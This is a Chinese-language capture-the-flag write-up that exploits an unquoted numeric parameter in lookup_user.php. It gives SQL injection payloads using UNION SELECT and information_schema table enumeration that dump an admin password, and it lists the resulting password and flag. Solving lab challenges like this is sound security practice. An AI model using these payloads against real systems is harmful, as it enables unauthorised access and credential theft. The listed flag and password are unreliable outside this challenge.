Daedalus加強了防護,在php code中加入mysqli_real_escape_string讓單引號雙引號攻擊無效了。
- 仔細看程式碼:在lookup_user.php中
$query = "SELECT * FROM ${table_prefix}users WHERE id=$id"
$id
是數字所以並沒有被單引號保護住,這給了我們很好的機會執行其他query!
- 這個php會把使用者資料印出來,所以如果能使用UNION只要把column的名字對應或重新命名成password就成功了!
- 但因為table名字被${table_prefix}保護住,我們必須先找出table全名
- UNION指令會把兩個相同數目的column對應聯集起來,這個特性讓我們能猜出user table有幾個column!
- 試了一下,
id=0 UNION SELECT 1,2,3,4,5,6,7
猜中了,下一步要搜出這個user table的全名 - MySQL官網query schema的教學察看怎麼顯示table名字
id=0 UNION SELECT table_name, table_name, table_name, table_name, table_name, table_name, table_name FROM information_schema.tables LIMIT 1
,成功顯示出一個table的名字。- 但不是我們要的,所以再加上
OFFSET = 1
,還是不對,於是寫個script從0跑到50,最後找到OFFSET = 40: id=0 UNION SELECT table_name, table_name, table_name, table_name, table_name, table_name, table_name FROM information_schema.tables LIMIT 1 OFFSET 40
,找出全名叫:super_secret_users
。- 於是可以使用UNION顯示密碼了:
id=0 UNION SELECT password, password, password, password, password, password, password FROM super_secret_users WHERE id=1
,得到密碼 =not_the_flag_super_secret_admin_password
- 最後再用這個密碼登入,成功取得
flag = flag_2tc7ZPa5PEhcyZJXgH
。